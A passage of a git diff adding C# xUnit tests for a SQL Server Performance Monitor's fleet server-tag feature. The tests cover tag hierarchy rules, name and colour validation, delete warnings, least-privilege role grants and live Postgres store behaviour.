+public sealed class ServerTagCoverageTests
+{
+    private static ServerTagSnapshot Snap(
+        IEnumerable<ServerTagRow> tags,
+        IEnumerable<(int Server, int Tag)> assignments,
+        IEnumerable<TagScopedRule> rules) =>
+        new(tags.ToList(), assignments.Select(a => new ServerTagAssignmentRow(a.Server, a.Tag)).ToList(), rules.ToList());
+
+    [Fact]
+    public void Members_IsTheWholeSubtree()
+    {
+        var tags = new[] { new ServerTagRow(1, "Prod", null, 0, null), new ServerTagRow(2, "East", 1, 0, null) };
+        var snap = Snap(tags, [(100, 1), (101, 2), (102, 99)], []);
+        Assert.Equal([100, 101], ServerTagCoverage.Members(snap, 1).OrderBy(i => i));
+        Assert.Equal([101], ServerTagCoverage.Members(snap, 2).OrderBy(i => i));
+    }
+
+    [Fact]
+    public void Unassign_OfAServerStillReachableThroughASiblingUnderTheScope_ReportsNothing()
+    {
+        var tags = new[] { new ServerTagRow(1, "Prod", null, 0, null), new ServerTagRow(2, "East", 1, 0, null), new ServerTagRow(3, "West", 1, 0, null) };
+        var rules = new[] { new TagScopedRule(7, "r", true, 1) };
+        var before = Snap(tags, [(100, 2), (100, 3)], rules);
+        var after = Snap(tags, [(100, 3)], rules);
+        Assert.Empty(ServerTagCoverage.Diff(before, after));
+    }
+
+    [Fact]
+    public void Move_ReportsOldAncestorsLosing_NewAncestorsGaining_AndNotTheCommonOne()
+    {
+        /* Root(1) > A(2) > M(5); Root(1) > B(3). Move M under B: A loses, B gains, Root unchanged. */
+        var rules = new[] { new TagScopedRule(1, "root", true, 1), new TagScopedRule(2, "a", true, 2), new TagScopedRule(3, "b", false, 3), new TagScopedRule(4, "m", true, 5) };
+        var beforeTags = new[] { new ServerTagRow(1, "Root", null, 0, null), new ServerTagRow(2, "A", 1, 0, null), new ServerTagRow(3, "B", 1, 0, null), new ServerTagRow(5, "M", 2, 0, null) };
+        var afterTags = new[] { new ServerTagRow(1, "Root", null, 0, null), new ServerTagRow(2, "A", 1, 0, null), new ServerTagRow(3, "B", 1, 0, null), new ServerTagRow(5, "M", 3, 0, null) };
+        var assignments = new[] { (100, 5) };
+
+        var diff = ServerTagCoverage.Diff(Snap(beforeTags, assignments, rules), Snap(afterTags, assignments, rules));
+
+        Assert.Equal(2, diff.Count);
+        var a = diff.Single(d => d.ScopeTagId == 2);
+        Assert.Equal("loses_servers", a.Effect);
+        Assert.Equal([100], a.ServersLost);
+        Assert.Equal(1, a.ServersLostCount);
+        var b = diff.Single(d => d.ScopeTagId == 3);
+        Assert.Equal("gains_servers", b.Effect);
+        Assert.False(b.Enabled);
+        Assert.DoesNotContain(diff, d => d.ScopeTagId is 1 or 5);
+    }
+
+    [Fact]
+    public void ARuleWhoseScopeTagWasAlreadyGoneBeforeTheWrite_IsNotListed()
+    {
+        var tags = new[] { new ServerTagRow(1, "Prod", null, 0, null), new ServerTagRow(2, "East", 1, 0, null) };
+        var rules = new[] { new TagScopedRule(7, "dangling", true, 99), new TagScopedRule(8, "live", true, 2) };
+        var before = Snap(tags, [(100, 2)], rules);
+
+        var diff = ServerTagCoverage.SimulateDelete(before, 2);
+
+        Assert.DoesNotContain(diff, d => d.RuleId == 7);
+        Assert.Equal("orphaned", diff.Single(d => d.RuleId == 8).Effect);
+        Assert.Empty(ServerTagCoverage.Diff(before, before));
+    }
+
+    [Fact]
+    public void ADeletedScopeTag_IsOrphaned_WithEveryOldServerLost()
+    {
+        var tags = new[] { new ServerTagRow(1, "Prod", null, 0, null), new ServerTagRow(2, "East", 1, 0, null) };
+        var rules = new[] { new TagScopedRule(7, "r", true, 2), new TagScopedRule(8, "up", true, 1) };
+        var before = Snap(tags, [(100, 2), (101, 1)], rules);
+
+        var diff = ServerTagCoverage.SimulateDelete(before, 2);
+
+        var orphan = diff.Single(d => d.RuleId == 7);
+        Assert.Equal("orphaned", orphan.Effect);
+        Assert.Equal([100], orphan.ServersLost);
+        var up = diff.Single(d => d.RuleId == 8);
+        Assert.Equal("loses_servers", up.Effect);
+        Assert.Equal([100], up.ServersLost);
+    }
+
+    [Fact]
+    public void RulesScopedInSubtree_IncludesDisabledRules_AndExcludesAncestors()
+    {
+        var tags = new[] { new ServerTagRow(1, "Prod", null, 0, null), new ServerTagRow(2, "East", 1, 0, null) };
+        var rules = new[] { new TagScopedRule(7, "r", false, 2), new TagScopedRule(8, "up", true, 1) };
+        var impact = ServerTagCoverage.RulesScopedInSubtree(Snap(tags, [], rules), 1);
+        Assert.Equal(2, impact.Count);
+        Assert.Equal([7L], ServerTagCoverage.RulesScopedInSubtree(Snap(tags, [], rules), 2).Select(r => r.RuleId));
+    }
+}
diff --git a/Darling/Darling.Tests/ServerTagDeleteWarningTests.cs b/Darling/Darling.Tests/ServerTagDeleteWarningTests.cs
new file mode 100644
index 0000000000..806a5eb805
--- /dev/null
+++ b/Darling/Darling.Tests/ServerTagDeleteWarningTests.cs
@@ -0,0 +1,49 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>The sentence both tag-delete dialogs append when custom alert rules are scoped to the tag or a child.</summary>
+public sealed class ServerTagDeleteWarningTests
+{
+    private static List<TagScopedRule> Rules(int n) =>
+        Enumerable.Range(1, n).Select(i => new TagScopedRule(10 + i, "Rule" + i, true, 3)).ToList();
+
+    [Fact]
+    public void NoRules_AddNothing() =>
+        Assert.Equal(string.Empty, ServerTagCoverage.DeleteWarning(Rules(0)));
+
+    [Fact]
+    public void OneRule_NamesItWithItsId() =>
+        Assert.Equal(
+            " Custom alert rules scoped to this tag or a child tag will stop matching any server: 'Rule1' (#11)",
+            ServerTagCoverage.DeleteWarning(Rules(1)));
+
+    [Fact]
+    public void FiveRules_NameAllFive_WithNoMoreSuffix()
+    {
+        var text = ServerTagCoverage.DeleteWarning(Rules(5));
+
+        Assert.EndsWith("'Rule4' (#14), 'Rule5' (#15)", text);
+        Assert.DoesNotContain("more", text);
+    }
+
+    [Fact]
+    public void SevenRules_NameFive_ThenSayTwoMore()
+    {
+        var text = ServerTagCoverage.DeleteWarning(Rules(7));
+
+        Assert.EndsWith("'Rule5' (#15), and 2 more", text);
+        Assert.DoesNotContain("Rule6", text);
+    }
+}
diff --git a/Darling/Darling.Tests/ServerTagMcpRoleLiveTests.cs b/Darling/Darling.Tests/ServerTagMcpRoleLiveTests.cs
new file mode 100644
index 0000000000..aa17e548c3
--- /dev/null
+++ b/Darling/Darling.Tests/ServerTagMcpRoleLiveTests.cs
@@ -0,0 +1,111 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and a role with a per-run
+   name, and touches nothing on the shared one, so it is not serialized against the live-postgres collection. */
+
+/// <summary>The fleet-tag writes as a non-superuser holding exactly the grants the managed <c>mcp</c> role gets
+/// for them (#5085). Every other live test connects as the owner, which can write anything, so a missing
+/// <c>mcp</c> grant would pass them all and fail only in a real deployment with a 42501.
+///
+/// <para>The test role is a LOGIN NOSUPERUSER role with a per-run name (the <c>DarlingMcpStoreHostToolsLiveTests</c>
+/// pattern; a role belongs to the whole cluster, so the literal <c>mcp</c> would collide with a real run). It gets
+/// the schema reach the real role has (USAGE and SELECT on <c>config</c>) and the two tag-table write grants
+/// TAKEN FROM <see cref="DarlingManagedRoles.BuildProvisioningSql"/>'s output with the role name swapped, so
+/// removing a grant from the product's SQL makes this test fail.</para></summary>
+public sealed class ServerTagMcpRoleLiveTests
+{
+    private static readonly string RoleName = "tag_mcp_" + Guid.NewGuid().ToString("N")[..8];
+    private static readonly string RolePassword = Convert.ToHexString(RandomNumberGenerator.GetBytes(16));
+
+    [Fact]
+    public async Task TheMcpRoleGrants_LetServerTagStoreCreateAssignUpdateAndDelete()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live mcp-role server-tag test (it mints its own scratch database and role).");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var ownerString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+        await using var owner = NpgsqlDataSource.Create(ownerString);
+        await using (var connection = new NpgsqlConnection(ownerString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, null, ct);
+        }
+
+        var provisioning = DarlingManagedRoles.BuildProvisioningSql(
+            ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp);
+        var tagGrants = provisioning
+            .Split('\n')
+            .Select(line => line.Trim())
+            .Where(line => line.StartsWith("GRANT ", StringComparison.Ordinal)
+                && line.EndsWith(" TO mcp;", StringComparison.Ordinal)
+                && (line.Contains("config.server_tags ", StringComparison.Ordinal) || line.Contains("config.server_tag_map ", StringComparison.Ordinal)))
+            .Select(line => line[..^" TO mcp;".Length] + " TO " + RoleName + ";")
+            .ToList();
+
+        await ExecAsync(owner, $"CREATE ROLE {RoleName} LOGIN NOSUPERUSER PASSWORD '{RolePassword}'", ct);
+        try
+        {
+            await ExecAsync(owner, $"GRANT USAGE ON SCHEMA config TO {RoleName}; GRANT SELECT ON ALL TABLES IN SCHEMA config TO {RoleName};", ct);
+
+            /* Exactly the two tag-table write grants come out of the product's SQL; a renamed or dropped line
+               would otherwise leave this test granting nothing and still passing. */
+            Assert.Equal(2, tagGrants.Count);
+
+            var asMcp = new NpgsqlConnectionStringBuilder(ownerString) { Username = RoleName, Password = RolePassword }.ConnectionString;
+            await using var source = NpgsqlDataSource.Create(asMcp);
+            var store = new ServerTagStore(source, 30);
+
+            /* Before the grants the same role can read but not write: the insufficient-privilege answer proves the
+               grants below are what lets the writes through. */
+            var denied = await Assert.ThrowsAsync<PostgresException>(() => store.CreateAsync("Prod", null, null, ct));
+            Assert.Equal("42501", denied.SqlState);
+
+            foreach (var grant in tagGrants)
+            {
+                await ExecAsync(owner, grant, ct);
+            }
+
+            var created = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("Prod", null, null, ct));
+            var tagId = created.Tag!.Id;
+            Assert.Equal(new[] { 4, 5 }, await store.AssignAsync(tagId, new[] { 4, 5 }, ct));
+            var updated = Assert.IsType<ServerTagWriteResult.Ok>(
+                await store.UpdateAsync(tagId, new ServerTagEdit(true, "Production", false, null, false, null), ct));
+            Assert.Equal("Production", updated.Tag!.Name);
+            Assert.Equal(new[] { 4 }, await store.UnassignAsync(tagId, new[] { 4 }, ct));
+            var deleted = Assert.IsType<ServerTagWriteResult.Ok>(await store.DeleteAsync(tagId, confirm: true, ct));
+            Assert.Equal(1, deleted.RemovedAssignments);
+            Assert.Empty(await store.ReadTagsAsync(ct));
+        }
+        finally
+        {
+            await ExecAsync(owner, $"DROP OWNED BY {RoleName}; DROP ROLE IF EXISTS {RoleName};", ct);
+        }
+    }
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = source.CreateCommand(sql);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ServerTagRulesTests.cs b/Darling/Darling.Tests/ServerTagRulesTests.cs
new file mode 100644
index 0000000000..5e649d34ad
--- /dev/null
+++ b/Darling/Darling.Tests/ServerTagRulesTests.cs
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>The fleet-tag write rules (#5085): name, duplicate, depth, cycle, parent and colour.</summary>
+public sealed class ServerTagRulesTests
+{
+    /* A chain Prod(1) > East(2) > Web(3) > Edge(4), plus a root Test(10) with child Lab(11). */
+    private static readonly List<ServerTagRow> Tree =
+    [
+        new(1, "Prod", null, 0, null),
+        new(2, "East", 1, 0, null),
+        new(3, "Web", 2, 0, null),
+        new(4, "Edge", 3, 0, null),
+        new(10, "Test", null, 0, null),
+        new(11, "Lab", 10, 0, null),
+    ];
+
+    private static ServerTagEdit Move(int? parent) => new(false, null, false, null, true, parent);
+
+    [Fact]
+    public void Create_UnderADepthThreeParent_IsRefused_AndUnderDepthTwoIsAllowed()
+    {
+        var refused = Assert.IsType<ServerTagWriteResult.Refused>(ServerTagRules.CheckCreate(Tree, "Deep", 4, null, out _, out _));
+        Assert.Equal("depth_limit", refused.Code);
+        Assert.Equal("Tags can nest at most four levels deep.", refused.Message);
+
+        Assert.Null(ServerTagRules.CheckCreate(Tree, "Ok", 3, null, out _, out _));
+    }
+
+    [Fact]
+    public void Move_OfAHeightOneSubtreeUnderDepthTwo_IsRefused_AndMoveToRootIsAllowed()
+    {
+        /* Test(10) has height 1; under Web(3, depth 2) it would reach depth 4 (0-based). */
+        var refused = Assert.IsType<ServerTagWriteResult.Refused>(ServerTagRules.CheckUpdate(Tree, 10, Move(3), out _, out _));
+        Assert.Equal("depth_limit", refused.Code);
+
+        Assert.Null(ServerTagRules.CheckUpdate(Tree, 4, Move(null), out _, out _));
+    }
+
+    [Fact]
+    public void Move_UnderItselfOrAGrandchild_IsACycle()
+    {
+        var self = Assert.IsType<ServerTagWriteResult.Refused>(ServerTagRules.CheckUpdate(Tree, 1, Move(1), out _, out _));
+        Assert.Equal("cycle", self.Code);
+        var grand = Assert.IsType<ServerTagWriteResult.Refused>(ServerTagRules.CheckUpdate(Tree, 1, Move(3), out _, out _));
+        Assert.Equal("cycle", grand.Code);
+    }
+
+    [Fact]
+    public void Duplicates_AreRefusedIgnoringCase_OnCreateRenameAndMove()
+    {
+        Assert.IsType<ServerTagWriteResult.Conflict>(ServerTagRules.CheckCreate(Tree, "  prod ", null, null, out _, out _));
+
+        var rename = new ServerTagEdit(true, "TEST", false, null, false, null);
+        Assert.IsType<ServerTagWriteResult.Conflict>(ServerTagRules.CheckUpdate(Tree, 1, rename, out _, out _));
+
+        /* Moving a tag named Lab into a parent that already has a Lab. */
+        var withTwin = new List<ServerTagRow>(Tree) { new(12, "Lab", 1, 0, null) };
+        Assert.IsType<ServerTagWriteResult.Conflict>(ServerTagRules.CheckUpdate(withTwin, 12, Move(10), out _, out _));
+    }
+
+    [Fact]
+    public void ACaseOnlySelfRename_IsAllowed()
+    {
+        var rename = new ServerTagEdit(true, "PROD", false, null, false, null);
+        Assert.Null(ServerTagRules.CheckUpdate(Tree, 1, rename, out var name, out _));
+        Assert.Equal("PROD", name);
+    }
+
+    [Theory]
+    [InlineData("")]
+    [InlineData("   ")]
+    [InlineData("a\tb")]
+    [InlineData("Prod\u202E")]
+    [InlineData("Pr\u200Bod")]
+    public void BadNames_AreRefused(string name)
+    {
+        var refused = Assert.IsType<ServerTagWriteResult.Refused>(ServerTagRules.CheckName(name, out _));
+        Assert.Equal("bad_name", refused.Code);
+    }
+
+    [Fact]
+    public void Names_AreTrimmed_AndCappedAtOneHundred()
+    {
+        Assert.Null(ServerTagRules.CheckName("  Prod  ", out var clean));
+        Assert.Equal("Prod", clean);
+        Assert.Null(ServerTagRules.CheckName(new string('a', 100), out _));
+        Assert.Equal("bad_name", ServerTagRules.CheckName(new string('a', 101), out _)!.Code);
+    }
+
+    [Fact]
+    public void AFormatCharacterName_SaysItIsAnInvisibleFormattingCharacter()
+    {
+        var refused = Assert.IsType<ServerTagWriteResult.Refused>(ServerTagRules.CheckName("Pr\u200Bod", out _));
+        Assert.Equal("Tag name contains an invisible formatting character.", refused.Message);
+    }
+
+    [Fact]
+    public void ACreateColour_IsTrimmedThenValidated()
+    {
+        Assert.Null(ServerTagRules.CheckCreate(Tree, "Fresh", null, " #416fa6 ", out _, out var colour));
+        Assert.Equal("#416FA6", colour);
+        Assert.IsType<ServerTagWriteResult.Refused>(ServerTagRules.CheckCreate(Tree, "Fresh", null, "   ", out _, out _));
+    }
+
+    [Fact]
+    public void Colours_AreUpperCased_AndMalformedOnesRefused()
+    {
+        Assert.Null(ServerTagRules.CheckColour("#416fa6", out var colour));
+        Assert.Equal("#416FA6", colour);
+        Assert.Null(ServerTagRules.CheckColour(null, out var none));
+        Assert.Null(none);
+
+        foreach (var bad in new[] { "#12345", "red", string.Empty })
+        {
+            var refused = Assert.IsType<ServerTagWriteResult.Refused>(ServerTagRules.CheckColour(bad, out _));
+            Assert.Equal("bad_colour", refused.Code);
+            Assert.Equal("colour must be #RRGGBB, e.g. #416FA6, or null to clear it.", refused.Message);
+        }
+    }
+
+    [Fact]
+    public void AMissingParent_IsUnknownParent_AndAMissingTagIsNotFound()
+    {
+        var nf = Assert.IsType<ServerTagWriteResult.NotFound>(ServerTagRules.CheckCreate(Tree, "X", 99, null, out _, out _));
+        Assert.Equal("unknown_parent", nf.Code);
+        var missing = Assert.IsType<ServerTagWriteResult.NotFound>(ServerTagRules.CheckUpdate(Tree, 99, Move(null), out _, out _));
+        Assert.Null(missing.Code);
+        Assert.IsType<ServerTagWriteResult.NotFound>(ServerTagRules.CheckDelete(Tree, 99));
+    }
+
+    [Fact]
+    public void AMalformedCycleInTheData_DoesNotHangTheWalks()
+    {
+        var cyclic = new List<ServerTagRow> { new(1, "A", 2, 0, null), new(2, "B", 1, 0, null) };
+        Assert.True(ServerTagRules.Depth(cyclic, 1) <= ServerTagRules.MaxWalkSteps);
+        Assert.True(ServerTagRules.Height(cyclic, 1) <= ServerTagRules.MaxWalkSteps);
+        Assert.Contains(2, ServerTagRules.Descendants(cyclic, 1));
+    }
+}
diff --git a/Darling/Darling.Tests/ServerTagStoreLiveTests.cs b/Darling/Darling.Tests/ServerTagStoreLiveTests.cs
new file mode 100644
index 0000000000..51387eb59f
--- /dev/null
+++ b/Darling/Darling.Tests/ServerTagStoreLiveTests.cs
@@ -0,0 +1,296 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and touches nothing on the
+   shared one, so it is not serialized against the live-postgres collection. It seeds fixed tags, servers and
+   rules and reads no wall clock. */
+
+/// <summary>The fleet-tag store against a real Postgres (#5085): the colour stamp, the lock, the 23505 backstop,
+/// the delete cascade, the rule read and the assignment RETURNING.</summary>
+public sealed class ServerTagStoreLiveTests
+{
+    private async Task<(ScratchPostgres Scratch, NpgsqlDataSource Source, ServerTagStore Store)?> OpenAsync()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live server-tag store test (it mints its own scratch database).");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+        await using (var connection = new NpgsqlConnection(connectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, null, ct);
+        }
+
+        var source = NpgsqlDataSource.Create(connectionString);
+        return (scratch, source, new ServerTagStore(source, 30));
+    }
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql)
+    {
+        await using var command = source.CreateCommand(sql);
+        await command.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+    }
+
+    [Fact]
+    public async Task CreateStampsThePaletteColour_AndTwoConcurrentSameNameCreatesGiveOneOkAndOneConflict()
+    {
+        var opened = await OpenAsync();
+        var (scratch, source, store) = opened!.Value;
+        await using var _ = scratch;
+        await using var __ = source;
+        var ct = TestContext.Current.CancellationToken;
+
+        var created = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("Prod", null, null, ct));
+        Assert.Equal(TagColours.ForTagId(created.Tag!.Id), created.Tag.Colour);
+
+        var results = await Task.WhenAll(
+            store.CreateAsync("Twin", null, null, ct),
+            store.CreateAsync("TWIN", null, null, ct));
+        Assert.Equal(1, results.Count(r => r is ServerTagWriteResult.Ok));
+        var conflict = Assert.Single(results.OfType<ServerTagWriteResult.Conflict>());
+        /* The lock makes the loser see the winner's committed row, so the in-memory duplicate check answers with
+           the precise root message; without it the loser would only be caught by the unique index. */
+        Assert.Equal("A tag named 'Twin' already exists at the root.", conflict.Message.Replace("'TWIN'", "'Twin'"));
+    }
+
+    [Fact]
+    public async Task ARawDuplicateThatBypassedTheLock_SurfacesAsConflict_OnRename()
+    {
+        var opened = await OpenAsync();
+        var (scratch, source, store) = opened!.Value;
+        await using var _ = scratch;
+        await using var __ = source;
+        var ct = TestContext.Current.CancellationToken;
+
+        var a = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("Alpha", null, null, ct));
+        Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("Beta", null, null, ct));
+
+        /* The in-memory check compares with ToLowerInvariant; a name that differs only by a character the two
+           folds treat differently would reach the index. Simulate a writer that skipped the check by renaming
+           straight onto the sibling's name through the unique index. */
+        var edit = new ServerTagEdit(true, "Beta", false, null, false, null);
+        Assert.IsType<ServerTagWriteResult.Conflict>(await store.UpdateAsync(a.Tag!.Id, edit, ct));
+        await Assert.ThrowsAsync<PostgresException>(() => ExecAsync(source, "UPDATE server_tags SET name = 'Beta' WHERE name = 'Alpha'"));
+    }
+
+    [Fact]
+    public async Task Delete_CascadesTheSubtree_AndReportsTheIdsAndAssignments()
+    {
+        var opened = await OpenAsync();
+        var (scratch, source, store) = opened!.Value;
+        await using var _ = scratch;
+        await using var __ = source;
+        var ct = TestContext.Current.CancellationToken;
+
+        var root = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("Prod", null, null, ct)).Tag!;
+        var child = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("East", root.Id, null, ct)).Tag!;
+        await store.AssignAsync(root.Id, [9001], ct);
+        await store.AssignAsync(child.Id, [9001, 9002], ct);
+
+        var deleted = Assert.IsType<ServerTagWriteResult.Ok>(await store.DeleteAsync(root.Id, confirm: true, ct));
+        Assert.Equal(3, deleted.RemovedAssignments);
+        Assert.Equal(new[] { root.Id, child.Id }.OrderBy(i => i), deleted.RemovedTagIds!);
+
+        var snapshot = await store.ReadSnapshotAsync(ct);
+        Assert.Empty(snapshot.Tags);
+        Assert.Empty(snapshot.Assignments);
+        Assert.IsType<ServerTagWriteResult.NotFound>(await store.DeleteAsync(root.Id, confirm: true, ct));
+    }
+
+    [Fact]
+    public async Task ACreateColourWithSpaces_IsStoredTrimmedAndUpperCased()
+    {
+        var opened = await OpenAsync();
+        var (scratch, source, store) = opened!.Value;
+        await using var _ = scratch;
+        await using var __ = source;
+        var ct = TestContext.Current.CancellationToken;
+
+        var created = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("Padded", null, " #416fa6 ", ct));
+        Assert.Equal("#416FA6", created.Tag!.Colour);
+    }
+
+    [Fact]
+    public async Task AnUnconfirmedDelete_ReReadsTheRulesUnderTheLock_AndDeletesNothing()
+    {
+        var opened = await OpenAsync();
+        var (scratch, source, store) = opened!.Value;
+        await using var _ = scratch;
+        await using var __ = source;
+        var ct = TestContext.Current.CancellationToken;
+
+        var root = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("Prod", null, null, ct)).Tag!;
+        var child = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("East", root.Id, null, ct)).Tag!;
+        await store.AssignAsync(child.Id, [9001], ct);
+
+        /* A rule scoped into the subtree after the caller's own pre-check: the store call is made directly, so
+           only the check under the delete lock can stop it. */
+        await ExecAsync(source, $@"INSERT INTO custom_alert_rules (name, definition, enabled, version, created_at, updated_at, updated_by) VALUES
+            ('late-rule', '{{""scope"":{{""mode"":""tag"",""tagId"":{child.Id}}}}}', true, 1, now(), now(), 'test')");
+
+        var refused = Assert.IsType<ServerTagWriteResult.ConfirmRequired>(await store.DeleteAsync(root.Id, confirm: false, ct));
+        Assert.Equal("late-rule", Assert.Single(refused.Rules).Name);
+        Assert.Contains("'late-rule'", refused.Message, StringComparison.Ordinal);
+
+        var snapshot = await store.ReadSnapshotAsync(ct);
+        Assert.Equal(2, snapshot.Tags.Count);
+        Assert.Single(snapshot.Assignments);
+
+        Assert.IsType<ServerTagWriteResult.Ok>(await store.DeleteAsync(root.Id, confirm: true, ct));
+        Assert.Empty((await store.ReadSnapshotAsync(ct)).Tags);
+    }
+
+    [Fact]
+    public async Task AnAssignToATagDeletedInTheMeantime_IsReportedGone_NotAGenericError()
+    {
+        var opened = await OpenAsync();
+        var (scratch, source, store) = opened!.Value;
+        await using var _ = scratch;
+        await using var __ = source;
+        var ct = TestContext.Current.CancellationToken;
+
+        var tag = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("Doomed", null, null, ct)).Tag!;
+        Assert.IsType<ServerTagWriteResult.Ok>(await store.DeleteAsync(tag.Id, confirm: true, ct));
+
+        /* The core's pre-read is bypassed: the store is asked to assign to a tag id that is already gone, which
+           is what an assign racing a delete sees (a foreign-key violation). */
+        var gone = await Assert.ThrowsAsync<ServerTagGoneException>(() => store.AssignAsync(tag.Id, [9001], ct));
+        Assert.Equal(tag.Id, gone.TagId);
+
+        /* And through the core, the same race (the snapshot still lists the tag) answers not_found. */
+        var racing = new RacingAssignStore(store, tag);
+        var json = await DarlingMcpServerTagTools.AssignServerTagCore(racing, tag.Id, [9001], ct);
+        Assert.Contains("\"status\":\"not_found\"", json.Replace(" ", string.Empty), StringComparison.Ordinal);
+    }
+
+    /// <summary>A store whose snapshot still lists a tag that is gone and that registers every server: the state
+    /// an assign sees when a delete lands between its pre-read and its insert.</summary>
+    private sealed class RacingAssignStore(ServerTagStore inner, ServerTagRow stale) : IServerTagStore
+    {
+        public async Task<ServerTagSnapshot> ReadSnapshotAsync(System.Threading.CancellationToken ct = default)
+        {
+            var real = await inner.ReadSnapshotAsync(ct);
+            return real with { Tags = real.Tags.Append(stale).ToList() };
+        }
+
+        public Task<System.Collections.Generic.IReadOnlySet<int>> FindRegisteredServerIdsAsync(System.Collections.Generic.IReadOnlyCollection<int> serverIds, System.Threading.CancellationToken ct = default) =>
+            Task.FromResult<System.Collections.Generic.IReadOnlySet<int>>(serverIds.ToHashSet());
+
+        public Task<ServerTagWriteResult> CreateAsync(string name, int? parentId, string? colour, System.Threading.CancellationToken ct = default) => inner.CreateAsync(name, parentId, colour, ct);
+
+        public Task<ServerTagWriteResult> UpdateAsync(int tagId, ServerTagEdit edit, System.Threading.CancellationToken ct = default) => inner.UpdateAsync(tagId, edit, ct);
+
+        public Task<ServerTagWriteResult> DeleteAsync(int tagId, bool confirm, System.Threading.CancellationToken ct = default) => inner.DeleteAsync(tagId, confirm, ct);
+
+        public Task<System.Collections.Generic.IReadOnlyList<int>> AssignAsync(int tagId, System.Collections.Generic.IReadOnlyList<int> serverIds, System.Threading.CancellationToken ct = default) => inner.AssignAsync(tagId, serverIds, ct);
+
+        public Task<System.Collections.Generic.IReadOnlyList<int>> UnassignAsync(int tagId, System.Collections.Generic.IReadOnlyList<int> serverIds, System.Threading.CancellationToken ct = default) => inner.UnassignAsync(tagId, serverIds, ct);
+
+        public Task<bool> HasChildrenAsync(int tagId, System.Threading.CancellationToken ct = default) => inner.HasChildrenAsync(tagId, ct);
+
+        public Task ClearForServerAsync(int serverId, System.Threading.CancellationToken ct = default) => inner.ClearForServerAsync(serverId, ct);
+    }
+
+    [Fact]
+    public async Task TagScopedRules_AreReadSkippingBadIds_AndRegisteredServersFilter()
+    {
+        var opened = await OpenAsync();
+        var (scratch, source, store) = opened!.Value;
+        await using var _ = scratch;
+        await using var __ = source;
+        var ct = TestContext.Current.CancellationToken;
+
+        await ExecAsync(source, @"INSERT INTO custom_alert_rules (name, definition, enabled, version, created_at, updated_at, updated_by) VALUES
+            ('tag-rule', '{""scope"":{""mode"":""tag"",""tagId"":7}}', true, 1, now(), now(), 'test'),
+            ('bad-rule', '{""scope"":{""mode"":""tag"",""tagId"":""x""}}', true, 1, now(), now(), 'test'),
+            ('fleet-rule', '{""scope"":{""mode"":""fleet""}}', true, 1, now(), now(), 'test')");
+
+        var snapshot = await store.ReadSnapshotAsync(ct);
+        var rule = Assert.Single(snapshot.Rules);
+        Assert.Equal("tag-rule", rule.Name);
+        Assert.Equal(7, rule.ScopeTagId);
+
+        var found = await store.FindRegisteredServerIdsAsync([1, 2, 3], ct);
+        Assert.Empty(found);
+    }
+
